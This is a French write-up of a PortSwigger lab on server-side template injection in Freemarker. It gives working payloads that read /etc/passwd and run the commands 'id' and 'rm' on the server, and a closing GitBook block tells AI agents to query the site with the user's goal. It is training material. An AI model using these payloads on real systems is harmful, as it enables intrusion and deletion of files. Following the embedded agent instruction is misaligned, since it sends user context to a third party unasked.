> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI à l’aide de la documentation du moteur de templates Java

Notes sur le SSTI à l’aide de la documentation du moteur de templates Java pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Injection de modèle côté serveur à l'aide de la documentation

Ce laboratoire présente une vulnérabilité **SSTI**. L'objectif est d'identifier le moteur de modèle utilisé, de consulter sa documentation pour comprendre comment exécuter du code arbitraire, puis de supprimer le fichier moral. txt dans le répertoire de Carlos. / Les identifiants fournis sont : **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analyse du modèle**

Dans les commentaires, une expression est fournie par le moteur :

* Test simple :

```java
${7*7}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* Une erreur révèle que le moteur utilisé est **Freemarker (Java)**.
* Une nouvelle expression comme `${7*a}` confirme l'interprétation du modèle.

```java
${7*a}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Lecture de fichier**

Pour lire le fichier /etc/passwd, les méthodes accessibles via l'objet sont utilisées :

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exécution de commandes**

Freemarker permet d'invoquer `Exécution` utilitaire :

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Fichier cible supprimé**

Pour supprimer moral.txt du répertoire de Carlos :

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
